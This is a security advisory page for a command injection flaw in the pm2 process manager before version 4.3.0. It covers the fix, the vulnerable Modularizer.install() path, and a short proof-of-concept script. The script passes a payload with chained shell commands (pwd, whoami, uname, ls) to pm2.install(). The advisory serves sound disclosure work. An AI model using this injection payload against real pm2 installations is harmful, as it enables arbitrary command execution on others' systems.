Command Injection Affecting pm2 package, versions <4.3.0


Severity

Recommended
0.0
medium
0
10

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  • Snyk IDSNYK-JS-PM2-474304
  • published25 Oct 2019
  • disclosed24 Oct 2019
  • creditbl4de

Introduced: 24 Oct 2019

CVE NOT AVAILABLE CWE-78  (opens in a new tab)

How to fix?

Upgrade pm2 to version 4.3.0 or higher.

Overview

pm2 is a production process manager for Node.js applications with a built-in load balancer.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of user input in the Modularizer.install() method within lib/API/Modules/Modularizer.js as an unsanitized module_name variable. This input is eventually provided to the spawn() function and gets executed as a part of spawned npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH command.

PoC by bl4de

// pm2_exploit.js


'use strict' const pm2 = require('pm2')

// payload - user controllable input const payload = "test;pwd;whoami;uname -a;ls -l ~/playground/Node;"

pm2.connect(function (err) { if (err) { console.error(err) process.exit(2) }

pm2.start({
    script: &#39;app.js&#39; // fake app.js to supress &quot;No script path - aborting&quot; error thrown from PM2
}, (err, apps) =&gt; {
    pm2.install(payload, {}) // injection
    pm2.disconnect()
    if (err) {
        throw err
    }
})

})

CVSS Scores

version 3.1